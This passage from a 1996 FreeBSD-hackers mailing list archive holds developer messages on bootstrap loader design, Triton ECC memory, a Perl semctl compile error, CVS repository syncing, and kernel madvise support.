kernel? If not, what do I > > use instead? > > If it's in real mode, you just do a far jump to it. You'll need to work > out who's responsible for ss and ds, and get this clear with the compiler > too. But it isn't going to be in real mode. > > Basically, this is deep magic, and I'm not yet a clever enough magician > > to make it all work. I _want_ to learn how to do this, but I'm not making > > much progress. If anyone can shed some light on this subject, either > > by pointing me at some in-depth documentation (that preferably doesn't > > need to be viewed with a stinking web browser) or answering some of the > > above questions, I'd greatly appreciate it. > > Hmm. I'm not all that much of a magician either 8( If any of the above is > helpful, great! There are lots of wonderful things that could be done > with such an approach. To quote Marge Simpson: "Hrrmmmmmmmmmmm." -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= License error: The license for this .sig file has expired. You must obtain a new license key before any more witty phrases will appear in this space. ============================================================================= From owner-freebsd-hackers Tue May 14 09:34:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA22104 for hackers-outgoing; Tue, 14 May 1996 09:34:06 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id JAA22084; Tue, 14 May 1996 09:34:01 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id LAA06612; Tue, 14 May 1996 11:30:00 -0500 From: Joe Greco Message-Id: <199605141630.LAA06612@brasil.moneng.mei.com> Subject: Re: Triton chipset with 256k cache caches 32M only? To: davidg@root.com Date: Tue, 14 May 1996 11:29:59 -0500 (CDT) Cc: mmead@Glock.COM, joerg_wunsch@uriah.heep.sax.de, blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org In-Reply-To: <199605141522.IAA12962@Root.COM> from "David Greenman" at May 14, 96 08:22:48 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >> No, it uses the parity bits. Only 8 syndrome bits are needed > >> for 64bit words. > > > > Hmm. So does that mean the ECC is limited to single (odd > >number of) bit errors? > > ECC has single bit error correction and 2 bit error detection. Better than > parity no matter how you slice it. I have not tried it on D-P, but Rod says that the Triton-II ECC imposes an extra delay in memory accesses, i.e. "don't use it". That should be really easy to see if you go looking for it. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Tue May 14 09:38:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA22477 for hackers-outgoing; Tue, 14 May 1996 09:38:55 -0700 (PDT) Received: from io.org (io.org [198.133.36.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA22469 for ; Tue, 14 May 1996 09:38:51 -0700 (PDT) Received: from mnewton.newland.com (trt-on4-23.netcom.ca [198.211.222.87]) by io.org (8.6.12/8.6.12) with SMTP id MAA11084 for ; Tue, 14 May 1996 12:38:40 -0400 Date: Tue, 14 May 1996 12:38:40 -0400 Message-Id: <199605141638.MAA11084@io.org> X-Sender: mnewton@io.org (Unverified) X-Mailer: Windows Eudora Version 1.4.4 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: freebsd-hackers@freebsd.org From: mnewton@io.org (Malcolm Newton) Subject: wd0 interrupt timeout problems Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk i get wd0 status 58 error 0 occasionally on a old 486/33 with a 250mbyte drive any idea where the problem is before i take it apart????? Malcolm Newton President BSc.,M.B.A mnewton@io.org http://www.io.org/~mnewton VisiSoft Corp 2155 Dunwin Dr unit 6, Mississauga,Ont. Can L5L 4M1 (905) 607 6263 (905) 607 6122 fax From owner-freebsd-hackers Tue May 14 09:52:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA23474 for hackers-outgoing; Tue, 14 May 1996 09:52:26 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA23450; Tue, 14 May 1996 09:52:20 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.6.12/8.6.12) id JAA04309; Tue, 14 May 1996 09:41:05 -0700 From: "Rodney W. Grimes" Message-Id: <199605141641.JAA04309@GndRsh.aac.dev.com> Subject: Re: Triton chipset with 256k cache caches 32M only? To: mmead@Glock.COM (matthew c. mead) Date: Tue, 14 May 1996 09:41:04 -0700 (PDT) Cc: joerg_wunsch@uriah.heep.sax.de, blh@nol.net, jgreco@brasil.moneng.mei.com, hackers@freebsd.org, hardware@freebsd.org In-Reply-To: <199605141313.JAA07905@Glock.COM> from "matthew c. mead" at "May 14, 96 09:13:28 am" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > J Wunsch writes: > > > As Brett L. Hawn wrote: > > > > I would highly suggest getting some of the new > > > ASUS (just my particular favorite) tr-2 chipset motherboards, these solve > > > the caching problem along with many of the other inherent bugs of tr-1 > > > chipsets. > > > They even can do ECC now if you're using parity SIMMs! > > > (About to get my new board into service by tomorrow or thursday. :) > > I'd really like to do ECC, I just don't have the money for it right > now. So does this ECC work the same as the ECC on DEC Alphas? On the Alphas, > you put in 5M for every 4M of addressable ram. Is there a fifth simm slot on > these motherboards where a non ECC capable motherboard would have 4? No, this does not work the way you describe the Alpha working. You simply use 72 pin x 36 bit simms in pairs. 64 bits of data requires 8 bits to do ECC _OR_ byte parity. There is a setting in the BIOS that allows you to choose either ECC mode or Parity mode. Choosing ECC gives you the warm fuzzies, but it costs you 10 to 15% in memory bandwidth. -- Rod Grimes rgrimes@gndrsh.aac.dev.com Accurate Automation Company Reliable computers for FreeBSD From owner-freebsd-hackers Tue May 14 10:41:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA26841 for hackers-outgoing; Tue, 14 May 1996 10:41:51 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA26830 for ; Tue, 14 May 1996 10:41:48 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id DAA12954; Wed, 15 May 1996 03:38:03 +1000 Date: Wed, 15 May 1996 03:38:03 +1000 From: Bruce Evans Message-Id: <199605141738.DAA12954@godzilla.zeta.org.au> To: freebsd-hackers@FreeBSD.ORG, wpaul@skynet.ctr.columbia.edu Subject: Re: Making a three-stage boot Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >... >The idea I had was to create a bootstrap similar to the one used by >SunOS, which works as follows: >... >- The /boot program is loaded by a second stage bootstrap, which is > by design very dumb and limited in function. It has a compiled-in > array of disk blocks which tell it where the the /boot program resides > on disk. It also has a compiled-in value for the filesystem blocksize, > and possibly some other magic values. This is similar to the Linux LILO bootstrap except for the third stage. It is more general and less convenient than what we have now. Don't implement it. Linux sort of needs it because the original Linux file system (minixfs) only leaves 1K for the first stage bootstrap. It's difficult to fit a loader for /kernel in 1K. We already have the loader for /kernel fitted in 7.5K and would only have to worry about squeezing it to boot from misdesigned file systems. We won't be able to avoid much work implementing loaders for several file systems since we (I) want the loader in the next stage. Anyway, `installboot' doesn't need to be implemented yet. >What I'm really trying to do here is effectivaly split the existing >second stage into two pieces: rather than giving the second stage all >the brains, which takes up too much space, I want to move most of the >work into third stage and make the second stage just smart enough >to load it. Also, by patching values into the bootstrap, we can save >other information, such as the proper disk geometry of the boot drive, The second stage should load a third stage which is just like the current second stage only larger. Values should be saved in a file and patched using $EDITOR. >Now all I have to do is turn the existing second stage bootstrap into >a standalone program. Unfortunately, I don't know how to do it. There >are several questions I can't answer: Practice using the current second stage to load itself as a third stage. Why wouldn't that work? Answer: it would load it at 0x100000 where it would at best (if you link it to run there) get in in the way of loading the kernel at 0x100000. Essentially all that is necessary is to keep the stages out of each other's way and set up the stack pointer before starting main(). The current stage 2 clears the bss for the next stage although it probably shouldn't. >- The standalone image obviously needs some sort of assembly language > startup routine, only I'm not adept enough at 386 protected-mode > assembly language to write it myself. (What would really help is if movl $stack,%esp; jmp _main # :-) See also locore.s. Notice how little setup it does before calling a function. The second stage has already set up a similar environment with less complications (all registers except %esp are already suitable, and there are no relocations to high memory). > we had some sort of 'libsa' standalone library. 4.4BSD-Lite had one > for the i386 architecture, but it relied on special protected-mode > drivers. It would be terrific if we had one that used the BIOS > instead.) You can use `.PATH: ../stage2' for now. >- Assuming I had a startup routine (and the right code to do the real-mode > BIOS operations), how exactly do I link the image? > o Should it be a ZMAGIC binary like the kernel? Or should it > be OMAGIC like the existing bootstrap? Same as the current stage 2. Oops. Stage 3 can't be as much like stage 2 as I thought it could when I wrote some of the above. Stage 2 uses descriptors based at BOOT_SEG*16 to avoid relocations. It's probably best to use the same method and limit the program to 64K to avoid complications in the real mode interface (code from the current stage 2 probably wouldn't be reusable if the stage 3 segments are flat). This requires more setup. An easy way to implement this is to use more of the stage 2 assembler code: load stage 3 at BOOT_3_SEG*16, switch to real mode, and jump to _boot2 in segment BOOT_3_SEG. Stage 3 should then start up just like stage 2. > o What start address should it be linked for? Should it be > linked at address 0 like the bootstrap or should it be > linked for the address at which it will be loaded, like > the kernel? 0 if you make it like stage 2 or its load address if you make it like the kernel. (The kernel is actually linked at 0xf0000000 higher than its load address but that requires paging and complications to address things before paging is set up.) > o For that matter, where in memory should it be loaded? Above stage 2, at 0x20000. > o Should it have an a.out header or not? It has to for the current stage 2 to work. OTOH, stage 2 should simply load a whole file and jump to it, so that it doesn't depend on the file's format. > o Should it be stripped? No, it's easy to strip it at load time if necessary and impossible to unstrip it at load time if desired. Bruce From owner-freebsd-hackers Tue May 14 12:49:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA05882 for hackers-outgoing; Tue, 14 May 1996 12:49:45 -0700 (PDT) Received: from sierra.zyzzyva.com (ppp0.zyzzyva.com [198.183.2.50]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA05872 for ; Tue, 14 May 1996 12:49:34 -0700 (PDT) Received: from zyzzyva.com (localhost [127.0.0.1]) by sierra.zyzzyva.com (8.7.5/8.6.11) with ESMTP id OAA04778; Tue, 14 May 1996 14:46:53 -0500 (CDT) Message-Id: <199605141946.OAA04778@sierra.zyzzyva.com> To: perl5-ports@nicoh.com, marc@iss.mach.uni-karlsruhe.de, hackers@freebsd.org Subject: doio.c fails to compile with pgcc on FreeBSD X-uri: http://www.zyzzyva.com/ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 14 May 1996 14:46:47 -0500 From: Randy Terbush Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm sending this report to both camps since it is not clear to me why this fails. Please CC me your discussion. The following bit of code from doio.c fails to compile with the following error message using the pgcc (pentium compiler) on FreeBSD-stable. pgcc is 960426 snapshot. doio.c: In function `Perl_do_ipcctl': doio.c:1364: incompatible type for argument 4 of `semctl' doio.c:1410: incompatible type for argument 4 of `semctl' *** Error code 1 =========== man semctl =========== int semctl(int semid, int semnum, int cmd, union semun arg) DESCRIPTION Semctl() performs the operation indicated by cmd on the semaphore set in- dicated by semid. For the commands that use the arg parameter, union semun is defined as follows: union semun { int val; /* value for SETVAL */ struct semid_ds *buf; /* buffer for IPC_STAT & IPC_SET */ u_short *array; /* array for GETALL & SETALL */ }; struct semid_ds { struct ipc_perm sem_perm; /* operation permission struct */ struct sem *sem_base; /* pointer to first semaphore in set */ u_short sem_nsems; /* number of sems in set */ time_t sem_otime; /* last operation time */ long sem_pad1; /* SVABI/386 says I need this here */ time_t sem_ctime; /* last change time */ /* Times measured in secs since */ /* 00:00:00 GMT, Jan. 1, 1970 */ long sem_pad2; /* SVABI/386 says I need this here */ long sem_pad3[4]; /* SVABI/386 says I need this here */ }; ==================================== ========== doio.c =========== #ifdef HAS_SEM case OP_SEMCTL: if (cmd == IPC_STAT || cmd == IPC_SET) infosize = sizeof(struct semid_ds); else if (cmd == GETALL || cmd == SETALL) { struct semid_ds semds; #1364--> if (semctl(id, 0, IPC_STAT, &semds) == -1) return -1; getinfo = (cmd == GETALL); infosize = semds.sem_nsems * sizeof(short); /* "short" is technically wrong but much more portable than guessing about u_?short(_t)? */ } break; #endif #ifdef HAS_SEM case OP_SEMCTL: #1410-->ret = semctl(id, n, cmd, (struct semid_ds *)a); break; #endif ============================== => /usr/local/bin/perl -V Summary of my perl5 (5.0 patchlevel 2 subversion 1) configuration: Platform: osname=freebsd, osver=2.1-stable, archname=i586-freebsd uname='freebsd sierra 2.1-stable freebsd 2.1-stable #1: tue may 7 18:40:23 cdt 1996 kroot@sierra:diskssd2freebsd-stablesrcsyscompilesierra i386 ' hint=recommended, useposix=true, d_sigaction=define Compiler: cc='pgcc', optimize='-O2', gccversion=2.7.2p snapshot 960426 cppflags='-I/usr/local/include' ccflags ='-I/usr/local/include' stdchar='char', d_stdstdio=, usevfork=true voidflags=15, castflags=0, d_casti32=, d_castneg=define intsize=4, alignbytes=4, usemymalloc=y, randbits=31 Linker and Libraries: ld='ld', ldflags =' -L/usr/local/lib' libpth=/usr/local/lib /usr/lib libs=-lm -lc -lcrypt libc=/usr/lib/libc.so.2.2, so=so Dynamic Linking: dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=define, ccdlflags=' ' cccdlflags='-DPIC -fpic', lddlflags='-Bshareable -L/usr/local/lib' @INC: /usr/local/lib/perl5/i586-freebsd/5.00201 /usr/local/lib/perl5 /usr/local/lib/perl5/site_perl/i586-freebsd /usr/local/lib/perl5/site_perl . From owner-freebsd-hackers Tue May 14 12:56:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA06338 for hackers-outgoing; Tue, 14 May 1996 12:56:40 -0700 (PDT) Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA06333 for ; Tue, 14 May 1996 12:56:37 -0700 (PDT) Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de) by mail.rwth-aachen.de (PMDF V5.0-4 #13110) id <01I4PKVYLPLC000SQR@mail.rwth-aachen.de> for freebsd-hackers@freefall.FreeBSD.org; Tue, 14 May 1996 21:20:12 +0100 Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.6.11/8.6.9) id VAA18336 for freebsd-hackers@freefall.cdrom.com; Tue, 14 May 1996 21:27:26 +0200 Date: Tue, 14 May 1996 21:27:26 +0200 From: "Christoph P. Kukulies" Subject: SNAP observations To: freebsd-hackers@freefall.FreeBSD.org Message-id: <199605141927.VAA18336@gilberto.physik.rwth-aachen.de> Content-transfer-encoding: 7BIT Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Maybe it's been reported before, anyway, here are some observations I made during some recent SNAP installations I did from the boot.flp The X-User menu behaviour is strange. The user guidance through the menu is a bit puzzling. You hit the space bar to check an entry and 'plopp', you land in a different menu. And after you have carefully chosen a set of X sets all the checked entries are blown away when leaving the menu. But the extraction is done though. I can remember to have chosen the accelerated server W32p but only the SVGA server got extracted. Also the sum of several hundred MB in the X menu is in contradiction to 'choose all of the above - [20MB]' (twenty?). --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Tue May 14 13:08:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA06733 for hackers-outgoing; Tue, 14 May 1996 13:08:20 -0700 (PDT) Received: from rich.isdn.bcm.tmc.edu (root@RICH.ISDN.BCM.TMC.EDU [128.249.250.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id NAA06727 for ; Tue, 14 May 1996 13:08:10 -0700 (PDT) Received: from richc.isdn.bcm.tmc.edu (root@richc.isdn.bcm.tmc.edu [128.249.250.37]) by rich.isdn.bcm.tmc.edu (8.7.5/8.6.12) with ESMTP id PAA02948 for ; Tue, 14 May 1996 15:08:07 -0500 (CDT) Received: (rich@localhost) by richc.isdn.bcm.tmc.edu (8.7.5/8.6.12) id PAA04476; Tue, 14 May 1996 15:08:07 -0500 (CDT) Date: Tue, 14 May 1996 15:08:07 -0500 (CDT) Message-Id: <199605142008.PAA04476@richc.isdn.bcm.tmc.edu> From: Rich Murphey To: hackers@FreeBSD.org Subject: sending email using netscape? Reply-to: rich@lamprey.utmb.edu Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Does anyone successfully use Netscape to send email? When I hit 'send' it reports 'Netscape is out of memory. Try quitting some other applications or closing some windows'. All the bsdi and linux versions avilable do this for me on FreeBSD-stable. ktrace shows netscape successfully connecting to the smtp server and sending/recieving everything from smtp server correctly upto the point the the body of the message should be sent, but it stops there. Rich From owner-freebsd-hackers Tue May 14 13:13:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA07021 for hackers-outgoing; Tue, 14 May 1996 13:13:08 -0700 (PDT) Received: from jolt.eng.umd.edu (jolt.eng.umd.edu [129.2.102.5]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id NAA07008 for ; Tue, 14 May 1996 13:13:04 -0700 (PDT) Received: from skipper.eng.umd.edu (skipper.eng.umd.edu [129.2.98.208]) by jolt.eng.umd.edu (8.7.5/8.7.3) with ESMTP id QAA14521 for ; Tue, 14 May 1996 16:13:02 -0400 (EDT) Received: (from chuckr@localhost) by skipper.eng.umd.edu (8.7.5/8.7.3) id QAA11032; Tue, 14 May 1996 16:13:02 -0400 (EDT) Date: Tue, 14 May 1996 16:13:02 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@skipper.eng.umd.edu To: FreeBSD-Hackers Subject: 4.4BSD Book Buy Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk When the clock strikes 12 tonight, I am not going to take any more orders (12 at home, Eastern time). Expect mail tomorrow from me about what's happening with the books. ========================================================================== Chuck Robey chuckr@eng.umd.edu, I run FreeBSD-current on n3lxx + Journey2 Three Accounts for the Super-users in the sky, Seven for the Operators in their halls of fame, Nine for Ordinary Users doomed to crie, One for the Illegal Cracker with his evil game In the Domains of Internet where the data lie. One Account to rule them all, One Account to watch them, One Account to make them all and in the network bind them. From owner-freebsd-hackers Tue May 14 14:00:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA10650 for hackers-outgoing; Tue, 14 May 1996 14:00:50 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA10643 for ; Tue, 14 May 1996 14:00:44 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Tue, 14 May 96 17:00:26 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Tue, 14 May 96 17:00:21 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id QAA27146; Tue, 14 May 1996 16:00:58 -0500 (CDT) Date: Tue, 14 May 1996 16:00:58 -0500 (CDT) Message-Id: <199605142100.QAA27146@compound.Think.COM> From: Tony Kimball To: nate@sri.MT.net Cc: hackers@freebsd.org In-Reply-To: <199605142009.OAA16821@rocky.sri.MT.net> (message from Nate Williams on Tue, 14 May 1996 14:09:09 -0600) Subject: Re: why so many ways to stay in sync? Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've redirected the discussion. Because the remote repository is on the ground... Ah... now I understand the concept of an "airplane" much better:-) I had thought you were referring to using one of those AT&T phones on the seatbacks. Frationing the repository is a CTM admin issue, methinks. Consider the case of FreeBSD. What if the various top-level directories were maintained in separate ctm domains, so that there was a cvs-cur-root cvs-cur-ports cvs-cur-src-bin cvs-cur-src-etc cvs-cur-src-games ... cvs-cur-src-usr.sbin eh?? All ctm cvs-cur users would keep cvs-cur-root, but not all would need every subset. Local mods are a client implementation issue. Suppose there were an lcvs program, which would only handle the 'new update commit delete diff log' commands. It could refer to the local repository maintained via ctm, but add a file for each local branch file, to contain local patches and history. COPYRIGHT,v COPYRIGHT,v.local lcvs could also permit commits (using RCVS protocol) to the main repository, using another commit command, say 'lcvs rcommit'. Upon success it could perform a symmetric commit against the local repository, but balk at collisions between ctm updates and local histories. Would this fulfill your ideal requirements? This seems like about the least amount of work, of all the approaches that I have considered, to resolve the problems you describe. //alk From owner-freebsd-hackers Tue May 14 14:24:01 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA11955 for hackers-outgoing; Tue, 14 May 1996 14:24:01 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA11940 for ; Tue, 14 May 1996 14:23:50 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id PAA17207; Tue, 14 May 1996 15:23:38 -0600 Date: Tue, 14 May 1996 15:23:38 -0600 From: Nate Williams Message-Id: <199605142123.PAA17207@rocky.sri.MT.net> To: Tony Kimball Cc: nate@sri.MT.net, hackers@freebsd.org Subject: Re: why so many ways to stay in sync? In-Reply-To: <199605142100.QAA27146@compound.Think.COM> References: <199605142009.OAA16821@rocky.sri.MT.net> <199605142100.QAA27146@compound.Think.COM> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Because the remote repository is on the ground... > > Ah... now I understand the concept of an "airplane" much better:-) > I had thought you were referring to using one of those AT&T phones > on the seatbacks. I suppose I could, but it would be expensive. And, being on an airplane is just one of the many ways of being net-separated from the Repository. > Frationing the repository is a CTM admin issue, methinks. > Consider the case of FreeBSD. What if the various top-level > directories were maintained in separate ctm domains, so that > there was a > cvs-cur-root > cvs-cur-ports > cvs-cur-src-bin > cvs-cur-src-etc > cvs-cur-src-games > ... > cvs-cur-src-usr.sbin > eh?? All ctm cvs-cur users would keep cvs-cur-root, but not all would need > every subset. Yep, but again it's not setup this way right now, and administration time *is* significant. > Local mods are a client implementation issue. Suppose there were an > lcvs program, which would only handle the 'new update commit delete > diff log' commands. It could refer to the local repository maintained > via ctm, but add a file for each local branch file, to contain local > patches and history. > > COPYRIGHT,v > COPYRIGHT,v.local CVS doesn't work that way. Also, in my *grand* scheme of things, you couldn't do local only commits. All commits *must* be done on the remote site, and site consistancy *must* be maintained. > lcvs could also permit commits (using RCVS protocol) to the main > repository, using another commit command, say 'lcvs rcommit'. > Upon success it could perform a symmetric commit against the > local repository, but balk at collisions between ctm updates and > local histories. Again, this is *sort* of what I'd like to see. > Would this fulfill your ideal requirements? This seems like about > the least amount of work, of all the approaches that I have > considered, to resolve the problems you describe. I think the amount of work required is much higher than you think, but you're welcome to it. I'd even be willing to give my less-than-expert opinion on how I think it *should* work. :) Basically, any commands which modify the local respository should *require* that the local and remote repositories by sync'd up, and make sure that the modifications are against the most recent copies of the sources. Second, normal CVS operations should occur *only* against the local copy, and a new 'synchronizes' command should be added which performs the same functions as CTM/SUP do now, but on the fly. This could be run in a cron job nightly to make sure the local and remote copies are synchronized. This is where SUP is a win and CTM loses. The CVS protocol I'm submitting requires that the server be able to synchronize the system at *any* point in time, since the developer shouldn't have to wait for a particular 'window' in order to commit code. My assumption is that the developers time is the most valuable commodity for the project, so minimizes his time and maximizing his usefulness via access to information and ability to get his work done however and whenever he wants is the number one priority. The problem in itself isn't really that hard conceptually, but it requires a way to seamlessly integrate the functionality of SUP plus the ability to make sure files are up to date for commits and such. The joy of using this systems is that almost all relevant information is available to the developer on his local site for quick and easy development. However, with this scheme there are no extras steps needed to 'commit' the working code into the main tree. As it stands now, there are two solutions, neither of which are the best solution for slow-network link folks. 1) Use RCVS - Much of the helpful data lives on the remote systems, making access to it either slow or non-existant. 2) SUP + CVS - All data exists locally, but taking the tested/working code and committing it to tree requires quite a few (interactive) steps which makes it difficult and impossible sometimes over a slow/crappy network link. Peter Wemm currently uses a combination of both methods above, but I don't recommend it, as it's not for the faint of heart. I've messed around a bit with it, but gave up since it requires too much work to make sure the remote/local repositories are synchronized. Nate From owner-freebsd-hackers Tue May 14 14:44:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA13421 for hackers-outgoing; Tue, 14 May 1996 14:44:03 -0700 (PDT) Received: from nightmare.dreamchaser.org ([207.40.47.18]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA13364 for ; Tue, 14 May 1996 14:43:58 -0700 (PDT) Received: from mofo (mofo.dreamchaser.org [206.230.42.91]) by nightmare.dreamchaser.org (8.6.12/8.6.12) with SMTP id PAA12596; Tue, 14 May 1996 15:43:35 -0600 Message-ID: <3198FE8C.2773@ics.com> Date: Tue, 14 May 1996 15:43:40 -0600 From: Gary Aitken Organization: Integrated Computer Solutions X-Mailer: Mozilla 3.0b3 (X11; I; SunOS 5.4 sun4c) MIME-Version: 1.0 To: rich@lamprey.utmb.edu CC: hackers@freebsd.org Subject: Re: sending email using netscape? References: <199605142008.PAA04476@richc.isdn.bcm.tmc.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Does anyone successfully use Netscape to send email? > > When I hit 'send' it reports 'Netscape is out of > memory. Try quitting some other applications or closing > some windows'. All the bsdi and linux versions > avilable do this for me on FreeBSD-stable. > > ktrace shows netscape successfully connecting to the > smtp server and sending/recieving everything from smtp > server correctly upto the point the the body of the > message should be sent, but it stops there. Rich It works for me, in limited tests (I'm running mainly from a solaris system using freebsd as a gateway). The version I'm using on freebsd is netscape-v202-export.i386-unknown-bsd.tar This is under 2.1 on a 16 meg system so it's not like I have a lot of resources available, but I'm not running X on it either; I started it on the freebsd system and displayed it on the solaris one. -- Gary Aitken garya@ics.com (business) garya@dreamchaser.org (personal) From owner-freebsd-hackers Tue May 14 15:34:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA17008 for hackers-outgoing; Tue, 14 May 1996 15:34:55 -0700 (PDT) Received: from paloalto.access.hp.com (daemon@paloalto.access.hp.com [15.254.56.2]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA16962 for ; Tue, 14 May 1996 15:34:47 -0700 (PDT) Received: from srmail.sr.hp.com by paloalto.access.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA178833279; Tue, 14 May 1996 15:34:39 -0700 Received: from hpnmhjw.sr.hp.com by srmail.sr.hp.com with ESMTP (1.37.109.16/15.5+ECS 3.3) id AA220053278; Tue, 14 May 1996 15:34:38 -0700 Received: from mina.sr.hp.com by hpnmhjw.sr.hp.com with SMTP (1.37.109.16/15.5+ECS 3.3) id AA067433277; Tue, 14 May 1996 15:34:37 -0700 Message-Id: <199605142234.AA067433277@hpnmhjw.sr.hp.com> To: hackers@freefall.freebsd.org Subject: Re: Triton chipset with 256k cache caches 32M only? Date: Tue, 14 May 1996 15:34:37 -0700 From: Darryl Okahata Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > ECC has single bit error correction and 2 bit error detection. Better than > parity no matter how you slice it. The reports on the street say that enabling ECC with Triton II motherboards involves a 10-15% performance hit, and so T2 ECC may not always be better than parity. It really depends on your priorities. ;-) -- Darryl Okahata Internet: darrylo@sr.hp.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Hewlett-Packard, or of the little green men that have been following him all day. From owner-freebsd-hackers Tue May 14 15:54:36 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA18527 for hackers-outgoing; Tue, 14 May 1996 15:54:36 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA18521; Tue, 14 May 1996 15:54:32 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id RAA11225; Tue, 14 May 1996 17:54:01 -0500 From: Joe Greco Message-Id: <199605142254.RAA11225@brasil.moneng.mei.com> Subject: A question for the VM gurus..! To: hackers@freebsd.org Date: Tue, 14 May 1996 17:54:01 -0500 (CDT) Cc: dyson@freebsd.org X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Summary: curious about the status of madvise/mincore. A quick find /usr/src/sys -type f -print | xargs grep MADV reveals that the MADV constants aren't used anywhere in the kernel (at least on my 2.1R systems). I see madvise and mincore return EOPNOTSUPP. Do we have any plans to support this, for those of us who would prefer to keep our VM systems more informed? For example, under certain conditions, I would like to map a very large file, and access portions in a random (but not necessarily in sequence) fashion. Without faulting, because I have a monolithic server process, that _could_ be servicing somebody else right now, even if I can't access _this_ bit of data yet. :-) I can do this if I can use madvise() to tell the system, MADV_WILLNEED, and then poll with mincore() every so often to see if the page is available yet 